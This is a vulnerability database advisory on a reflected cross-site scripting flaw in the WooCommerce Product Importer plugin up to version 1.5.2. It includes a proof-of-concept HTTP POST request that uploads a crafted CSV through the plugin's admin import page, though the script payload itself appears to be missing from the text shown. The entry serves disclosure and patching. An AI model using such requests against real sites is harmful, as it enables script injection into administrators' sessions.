Lucene search

K
wpvulndbBenachiWPVDB-ID:5EC6182C-6917-4C48-90CE-E0EBE38E7595
HistoryJun 16, 2022 - 12:00 a.m.

WooCommerce - Product Importer <= 1.5.2 - Reflected Cross-Site Scripting

2022-06-1600:00:00
Benachi
wpscan.com
5

0.001 Low

EPSS

Percentile

40.3%

The plugin does not sanitise and escape the imported data before outputting it back in the page, leading to a Reflected Cross-Site Scripting

PoC

POST /wp-admin/admin.php?page=woo_pi&tab;=import HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------26500037853062016269678995697 Content-Length: 1234 Connection: close Cookie: [logged in admin] Upgrade-Insecure-Requests: 1 -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“upload_method” upload -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“csv_file”; filename=“a.csv” Content-Type: text/csv Name,Content,Price,Gender,sku,Multi_cat,Thumbnail Pumpkin spice cupcake, Pumpkin spice cupcake 3",5.99, Bakery,128,Dessert, -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“csv_file_ftp[passive]” auto -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“delimiter” , -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“category_separator” | -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“parent_child_delimiter” > -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“action” upload -----------------------------26500037853062016269678995697 Content-Disposition: form-data; name=“page_options” csv_file -----------------------------26500037853062016269678995697–

CPENameOperatorVersion
woocommerce-product-importereq*

0.001 Low

EPSS

Percentile

40.3%

Related for WPVDB-ID:5EC6182C-6917-4C48-90CE-E0EBE38E7595